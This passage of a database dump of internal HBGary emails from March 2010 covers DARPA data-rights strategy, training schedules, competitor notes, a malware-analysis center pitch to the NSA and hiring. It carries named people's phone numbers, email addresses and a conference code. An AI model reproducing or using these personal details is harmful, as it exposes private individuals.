new\r\ntraits.&nbsp; We probably need to get Greg involved to define what is our patented\r\nIP and what is simply an application of that IP.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 15, 2010 12:02 PM\r\nTo: Bob Slapnik\r\nCc: \'Penny Leavy\'; \'Ted Vera\'\r\nSubject: Re: Data rights language for DARPA proposals\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIn order for this to work and not overly lessen our chances\r\nto win, on each piece of IP that we are asserting restricted rights we need to\r\nstate clearly how we might use that technology in the course of the proposal\r\nand what rights we are claiming. &nbsp;For example with Responder, we are\r\nmerely going to use it like we would any other COTS product to aid in analysis\r\nto develop traits and genome sequences. &nbsp;We plan to use our experience\r\ndeveloping DDNA for malware detection to aid us in understanding complex trait\r\nbehaviors for the purposes of understanding malwares overall behavior and plan\r\nto conduct research on the best approach to define malware behavior. &nbsp;In\r\nthe event we determine our existing approach developed for our DDNA commercial\r\nproduct is also the right approach for this effort, all new development we\r\noffer to the government under unrestricted rights, however the existing\r\nframework of DDNA is still covered as HBGary intellectual property and under\r\nrestricted rights as a commercial product... (whatever is right here I don\'t\r\nknow the right language but we need to distinguish this, state it clearly and\r\ncompletely.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI believe that if we state that the new traits we develop\r\nusing the governments money are covered under our IP and need to be purchased\r\nby the government after development, we will not win. &nbsp;This is why I want\r\nto push this down the road until after award. &nbsp;If we develop traits using\r\nour methodology, what specifically about those traits does the government have\r\nunlimited rights to and what do they have restricted rights to, again we need\r\nto be very clear and complete. &nbsp;If it is confusing in any way he will pass\r\nbecause it is just too risky.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 15, 2010, at 11:43 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRestricted Rights means the gov&#8217;t can only do with the data what\r\nwe explicitly allow them to do with it.&nbsp; For example, people can use\r\nResponder Pro as per the software license agreement.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, March 15,\r\n2010 11:10 AM\r\nTo:&nbsp;Bob Slapnik\r\nCc:&nbsp;\'Penny Leavy\'; \'Ted\r\nVera\'\r\nSubject:&nbsp;Re: Data rights\r\nlanguage for DARPA proposals\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOK. &nbsp;I think we are getting closer to getting it right\r\nso IP is protected and we don\'t lessen our chances to win. &nbsp;What does\r\nrestricted data rights mean?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 15, 2010, at 10:44 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\nand Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ve\r\nhad a couple of conversations with Dave Metzger, attorney with lots of gov&#8217;t\r\ncontract knowledge.&nbsp; Attached is the data rights doc he wrote.&nbsp; I\r\nasked him to write it so we could insert it directly into the proposal. &nbsp;I\r\nwant feedback from everybody so we can come to a group consensus on the\r\nlanguage.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMetzger\r\nis taking what I consider to be a &#8220;middle road&#8221;.&nbsp; In this doc we are\r\nasserting Restricted Rights for our patents and products, but providing\r\nunlimited rights on everything else even though by statue we have the legal\r\nbasis to assert SBIR Data Rights or could downgrade that to Specially\r\nNegotiated Rights.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nreading the doc you will see that HBGary may end up NOT delivering any HBGary\r\nIP, in such case all data will be unlimited rights.&nbsp; Metzger wrote the doc\r\nso that IF we deliver HBGary IP related to patents or products then it would be\r\nwith restricted rights.&nbsp; Makes sense.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nprefers to &#8220;punt&#8221; on data rights question &#8211; not deliver any IP so no need to\r\nassert restricted rights &#8211; everything is unlimited rights.&nbsp; Then if we\r\nfind DURING THE CONTRACT that we need to use HBGary IP, we go back and\r\nre-negotiate data rights.&nbsp; Aaron&#8217;s concern is that asserting restricted\r\nrights could reduce our odds of winning. &nbsp;The preference of Metzger and myself\r\nis to declare what is ours, state that we may not use it, but if we do it is\r\nwith restricted rights.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEqually\r\nimportant &#8211; A big percentage of the new work will be automated malware r/e\r\nanalysis tools which is clearly an extension of past SBIR work.&nbsp; The\r\nassertion of data rights doc as currently written gives the gov&#8217;t unlimited\r\nrights to this.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMy\r\nview is that DDNA and our current products are the Family Jewels and must be\r\nprotected.&nbsp; On the other hand, the money we would get from DARPA is gravy\r\nthat extends our malware analysis (not detection but the knowledge gained would\r\nmake our detection better).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNote:&nbsp;\r\nDARPA is only interested in research and prototypes (not products).&nbsp; Even\r\nwith gov&#8217;t getting unlimited rights, HBGary owns the IP.&nbsp; The rule is that\r\nwe cannot resell the gov&#8217;t what they already paid for, but his will not prevent\r\nus from selling resulting products back to the gov&#8217;t.&nbsp; Why?&nbsp; At best\r\nthe gov&#8217;t will be paying for prototypes &#8211; we will be selling them finished\r\ncommercial software products instead.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThoughts?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Technical\r\nData Rights - from Metzger.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2741 - Release Date: 03/15/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2741 - Release Date: 03/15/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14507,'aaron_hbgary_com/14507.html'),(4079,'2010-03-15','\"Jim Richards\" <jim@hbgary.com>','/aaron@hbgary.com/new/1297002161.M555427P3547Q4079.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,ted@hbgary.com,\"Rich Cummings\" <rich@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Training Dates','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\nI wanted to put some training dates out for the summer, and get\r\nyour feedback. I am proposing the following dates:\r\n\r\n&nbsp;\r\n\r\nResponder Pro Basic \r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMay 11-12 &#8211; Sacramento\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nJune 22-23 &#8211; Washington DC area\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSeptember 14-15 &#8211; Washington DC area\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nSeptember 28-29 &#8211; Sacramento\r\n\r\n&nbsp;\r\n\r\nPlease let me know if you see any issues with the above\r\ndates, or we need to add/change any classes.\r\n\r\n&nbsp;\r\n\r\nRegards,\r\n\r\n&nbsp;\r\n\r\nJim\r\n\r\n&nbsp;\r\n\r\nJim\r\nRichards | Learning Programs Manager | HBGary, Inc.\r\n3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\nCell Phone: 916-276-2757 | Office Phone: 916-459-4727 x119 | Fax: 916-481-1460\r\nWebsite: www.hbgary.com\r\n| email: jim@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3011,'aaron_hbgary_com/3011.html'),(4080,'2010-03-15','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002161.M758023P3547Q4080.eml','all@hbgary.com','More Mandiant MIR competitive info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nGD C4 has been deploying Mandiant MIR.&nbsp; The buying decision\r\nwas made a year ago.&nbsp; They want Mandiant to search the filesystem for\r\nhashes, strings, files and folders.&nbsp; Not a lot of functionality.&nbsp; MIR\r\nis much cheaper than GSI or AccessData.&nbsp; Where EE allows live examination\r\nof a remote host, MIR is bulk host search and grab - no inspection of live\r\nmachine. They had to work with Mandiant to get MIR to do the searches fast.&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nHe asked why would we want to replicate what Mandiant does\r\nbecause their approach is easy to defeat.&nbsp; I replied even though it&#8217;s\r\nsimple, users are finding value.&nbsp; I told him we didn&#8217;t think the bar\r\nwas very high to replicate what they have and give customers the ability to do\r\nmany IR functions from one enterprise system.\r\n\r\n&nbsp;\r\n\r\nMatt Standart of C4 is going to Mandiant training in\r\nApril.&nbsp; Will be happy to talk to us about it afterwards.&nbsp; He likes\r\nthe idea of having one platform for memory, disk, DDNA, etc.&nbsp; This C4\r\ngroup has money and is evaluating Responder + DDNA.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1156,'aaron_hbgary_com/1156.html'),(4081,'2010-03-15','\"Lirette, Dave (TASC)\" <David.P.Lirette@TASC.COM>','/aaron@hbgary.com/new/1297002162.M13479P3547Q4081.eml','aaron@hbgary.com,ted@hbgary.com','Interesting...','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.dodbuzz.com/2010/03/15/black-cyber-ops-on-rise/\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDavid\r\nP. Lirette \r\nSBIRS IA PM \r\n\r\nDavid.P.Lirette@TASC.COM\r\n1795 Jet Wing Drive, Suite 100 \r\nColorado Springs, CO 80916 \r\n719.622.5129 \r\nBB: 719.338-9984 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5427,'aaron_hbgary_com/5427.html'),(4082,'2010-03-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297002162.M204459P3547Q4082.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Rodney Thayer','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Ted and Aaron,\r\n\r\n&nbsp;\r\n\r\nI want to introduce you to Rodney Thayer.&nbsp; He is in Bay Area\r\nand worked for HBGary when we first got started.&nbsp; Rodney is a kernel level\r\ndeveloper with lots of experience in security.&nbsp; He is available for outsource\r\njobs.&nbsp; I&#8217;ve copied him via email and his contact info is \r\n\r\n&nbsp;\r\n\r\nDirect 650-523-0252\r\n\r\nMobile 650-523-0255\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nPenny\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2140,'aaron_hbgary_com/2140.html'),(4083,'2010-03-15','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297002163.M300410P3547Q4084.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <adbarr@mac.com>','4 PM status meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nAre you able to dial into our 4 PM status meeting?\r\n\r\n&nbsp;\r\n\r\n866-765-5631, code 5057292#\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13406,'aaron_hbgary_com/13406.html'),(4084,'2010-03-15','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297002163.M479865P3547Q4085.eml','bob@hbgary.com,\"Aaron Barr\" <aaron@hbgary.com>','Threat Monitoring Center','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOK, here is the scoop\r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;Per machine, you can analyze 1600 malware PER day\r\n(we have 9 in our center)\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe bought machines from Gateway for $499 a piece.\r\n(specs at bottom)&nbsp; Each machine needs a copy of Windows 7 Professional and\r\nVMWorkstation 6.5.3 or later and our DDNAI software\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAll malware we get today can NOT be given to\r\nthem.&nbsp; Rich was supposed to set up a feeds but this never happened, so I\r\nwill be doing this.&nbsp; We do have the ability to tag malware so that we can\r\nsee if we can distribute or not.\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPerson working on this project needs to be an RE\r\nideally with development skills. ALL development on software will need to be\r\ndone out here in Sacramento.&nbsp; Martin&#8217;s contacts might be a good\r\nplace to start for potential people.&nbsp; They will be expensive.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThe computers are Gateway DX48310- O1e\r\n\r\nSpec: \r\n\r\nWindows 7 home version (will need to upgrade to PRO version)\r\n\r\nIntel Core 13 530 Processor\r\n\r\n6 GB\r\n\r\nIntegrated Intel Graphic Media HD ITB HDD\r\n\r\n8 Channel 7 High Def Audio\r\n\r\nMulti &#8211; in one Digital Memory Cards\r\n\r\nSoftware:&nbsp; Micro soft works.9 OSE, Microsoft office, \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject of\r\nlegal privilege intended only for use by the intended recipient. If you are not\r\nthe intended recipient or the person responsible for&nbsp;&nbsp; delivering the\r\nmessage to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9140,'aaron_hbgary_com/9140.html'),(4085,'2010-03-15','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>','/aaron@hbgary.com/new/1297002163.M666111P3547Q4086.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,,','RE: GDAIS Teaming Agreement - TA #1 - HBGary - Cyber Genome Program','\r\n\r\n\r\n\r\n\r\nHi Ted,\r\n&nbsp;\r\nPlease provide status of your review to our Teaming Agreement and \r\nyour anticipated response date.&nbsp; I will be OOP starting at noon on March \r\n23rd and would like to finalize the agreement before then.\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\nCindy Larson\r\n\r\n  \r\n  \r\n  From: Larson, Cindy S. Sent: \r\n  Wednesday, March 10, 2010 8:46 AMTo: \'Ted Vera\'Cc: \'Barr \r\n  Aaron\'; Vela, Ryan; Harlow, Douglas M.Subject: GDAIS Teaming \r\n  Agreement - TA #1 - HBGary - Cyber Genome ProgramImportance: \r\n  High\r\n  \r\n  Dear Mr. \r\n  Vera:\r\n  &nbsp;\r\n  \r\n  Attached is GDAIS Teaming \r\n  Agreement that is to be executed between our companies in support of the Cyber \r\n  Genome Program.&nbsp; Please review and if acceptable as written, complete \r\n  Article 13. Notices, sign and return to me.&nbsp; I\'ll then sign and return a \r\n  fully executed Agreement to you.\r\n  &nbsp;\r\n  If you have any comments \r\n  to this document, please email them to me ASAP (this week) and we can work to \r\n  resolution.\r\n  &nbsp;\r\n  Regards,\r\n  &nbsp;\r\n  Cindy \r\n  Larson\r\n  GDAIS Sr. Lead \r\n  Specialist, \r\nContracts\r\n',6540,'aaron_hbgary_com/6540.html'),(4086,'2010-03-15','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297002163.M72634P3547Q4083.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: Resume','\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n> From: Ernst Rogers \r\n> Date: March 15, 2010 12:30:00 PM MDT\r\n> To: Ted@hbgary.com, thv31@mac.com\r\n> Subject: Resume\r\n>\r\n\r\n> Hi Ted,\r\n>\r\n> Here is my updated resume.  I would be very interested in learning  \r\n> when you have software developer positions open, please let me know  \r\n> if you need anything else in regards to my resume.\r\n>\r\n> Thanks,\r\n> Ernst\r\n> 719-244-6120 (cell)\r\n',8256,'aaron_hbgary_com/8256.html'),(4087,'2010-03-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002163.M848937P3547Q4087.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Invoice from HBGary Federal LLC','Dear Penny Leavy-Hoglund,\r\n\r\nYour invoice is attached.  Please remit payment at your earliest\r\nconvenience.\r\n\r\nThank you for your business - we appreciate it very much.\r\n\r\nSincerely,\r\nHBGary Federal LLC\r\n		\r\n\r\n\r\n------------------------  Invoice Summary  --------------------------\r\nInvoice #: 1002\r\nInvoice Date: 03/12/2010\r\nDue Date: 03/27/2010\r\nTerms: Net 15\r\nAmount Due: $7,416.09\r\n\r\nThe complete version has been provided as an attachment to this email.\r\n---------------------------------------------------------------------\r\n\r\n\r\nWindows users: To view your invoice open the attached PDF file.\r\nYou must have Adobe Reader installed to view the attachment.\r\nTo download the reader, go to this page:\r\n	http://www.adobe.com/products/acrobat/readstep2.html\r\n\r\ndelivered by QuickBooks Online Plus\r\nhttp://quickbooksonline.intuit.com/learn?sc=QOE-COM-REFINV\r\n\r\n\r\n\r\n\r\n',11821,'aaron_hbgary_com/11821.html'),(4088,'2010-03-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002164.M22444P3547Q4088.eml','\"Aaron Barr\" <aaron@hbgary.com>,mark.trynor@hbgary.com','Fwd: Rodney Thayer','Rodney may be able to help with Project B or other stuff.  Mark and I\r\nwill call him sometime this week to see if he could help extend our\r\npayload to 1MB.\r\n\r\nTed\r\n\r\n\r\n-------- Original Message --------\r\nSubject: Rodney Thayer\r\nDate: Mon, 15 Mar 2010 12:37:00 -0700\r\nFrom: Penny Leavy-Hoglund \r\nTo: \'Ted Vera\' ,	\'Aaron Barr\' \r\nCC: \r\n\r\nHi Ted and Aaron,\r\n\r\n\r\n\r\nI want to introduce you to Rodney Thayer.  He is in Bay Area and worked for\r\nHBGary when we first got started.  Rodney is a kernel level developer with\r\nlots of experience in security.  He is available for outsource jobs.  I\'ve\r\ncopied him via email and his contact info is\r\n\r\n\r\n\r\nDirect 650-523-0252\r\n\r\nMobile 650-523-0255\r\n\r\n\r\n\r\nThanks\r\n\r\nPenny\r\n\r\n\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n\r\n\r\n\r\n\r\nNOTICE - Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed on\r\nthe taxpayer.  (The foregoing legend has been affixed pursuant to U.S.\r\nTreasury regulations governing tax practice.)\r\n\r\n\r\n\r\nThis message and any attached files may contain information that is\r\nconfidential and/or subject of legal privilege intended only for use by the\r\nintended recipient. If you are not the intended recipient or the person\r\nresponsible for   delivering the message to the intended recipient, be\r\nadvised that you have received this message in error and that any\r\ndissemination, copying or use of this message or attachment is strictly\r\n\r\n\r\n\r\n\r\n',12798,'aaron_hbgary_com/12798.html'),(4089,'2010-03-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002166.M255820P3547Q4089.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <adbarr@mac.com>','Fwd: RFP','\r\n\r\n-------- Original Message --------\r\nSubject: RFP\r\nDate: Mon, 15 Mar 2010 10:13:24 -0400\r\nFrom: Aaron Barr \r\nTo: Ted Vera \r\n\r\n',11460,'aaron_hbgary_com/11460.html'),(4090,'2010-03-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002166.M461385P3547Q4090.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: List of people','\r\n\r\n-------- Original Message --------\r\nSubject: List of people\r\nDate: Mon, 15 Mar 2010 16:06:57 -0700\r\nFrom: Martin Pillion \r\nTo: Ted Vera \r\n\r\n\r\nPenny asked about the list of potential hires that I sent, but I can\'t\r\nseem to find the email... so either I forgot to send it or I sent it to\r\nthe wrong person or somthing like that... anyway, what skill\r\nlevel/position/salary range are we looking for?  I\'ll put together a\r\nlist of people I know who would fit...\r\n\r\n- Martin\r\n',10408,'aaron_hbgary_com/10408.html'),(4091,'2010-03-16','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002166.M817579P3547Q4091.eml','scott@hbgary.com,\"Greg Hoglund\" <greg@hbgary.com>,scott@hbgary.com,\"Greg Hoglund\" <greg@hbgary.com>','Threat Monitoring Center for NSA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nScott and Greg,\r\n\r\n&nbsp;\r\n\r\nAaron and Rich visited the NSA Advanced Network Operations\r\ngroup today and pitched HBGary&#8217;s feed processor.&nbsp; The idea is that\r\nwe would license them the HBGary software for around $300k to $500k and HBGary\r\nFederal would put 2 cleared people onsite to run it.&nbsp; Since HBG Fed people\r\nare the ones to use it there is no need to create commercial grade\r\nsoftware.&nbsp; It is similar to the consulting model where we provide a &#8220;capability&#8221;\r\nand sell consulting services.&nbsp; \r\n\r\n&nbsp;\r\n\r\nSelling and staffing this system would put HBGary in the center\r\nof the gov&#8217;t malware universe.&nbsp; The best and brightest people are at\r\nNSA.&nbsp; And this is where the new cyber command is being headed up.&nbsp;\r\nThis system would provide HBGary with amazing feedback for making the s/w\r\nbetter.\r\n\r\n&nbsp;\r\n\r\nI need your help to create a short proposal.&nbsp; Please\r\nanswer the following questions.\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWhat would the hardware configuration be for 20k\r\nmalware per day? &nbsp;System cost not counting HBGary software?&nbsp; (Don&#8217;t\r\nforget vmware, windows, etc.)\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWhat would the hardware configuration be for 50k\r\nmalware per day?&nbsp; System cost?\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPenny said we might be able to use $500 Gateway\r\ncomputers.&nbsp; Is this better for the customer than ESX or ESXi servers?\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAssuming the system is running 24x7 what class\r\nof computer is needed for this workload?&nbsp; Wouldn&#8217;t cheap Gateway\r\ncomputers end up breaking?\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHow many VMs per computer would run?\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHow long would it take on average to analyze one\r\nmalware sample?\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHow do we load balance the work across multiple\r\ncomputers and/or servers?\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWhat are the expected &#8220;features&#8221; of\r\nthe system?&nbsp;&nbsp; What will the system do?&nbsp; Here is my take&#8230;&#8230;..\r\n\r\no&nbsp;&nbsp;\r\nEach malware is executed inside of a\r\nREcon/vmware system\r\n\r\no&nbsp;&nbsp;\r\nInstructions and low level runtime behaviors are\r\nharvested into a journal file\r\n\r\no&nbsp;&nbsp;\r\nThe vm is suspended and a memory snapshot is\r\ntaken\r\n\r\no&nbsp;&nbsp;\r\nWPMA analyzes the memory image and DDNA is\r\ncreated\r\n\r\no&nbsp;&nbsp;\r\nThe REcon data in the journal file is analyzed\r\n\r\no&nbsp;&nbsp;\r\nA report is generated with both DDNA and REcon\r\ndata\r\n\r\no&nbsp;&nbsp;\r\nWhat other features are pretty much there now\r\nthat I haven&#8217;t listed?\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDescribe the user interface to the 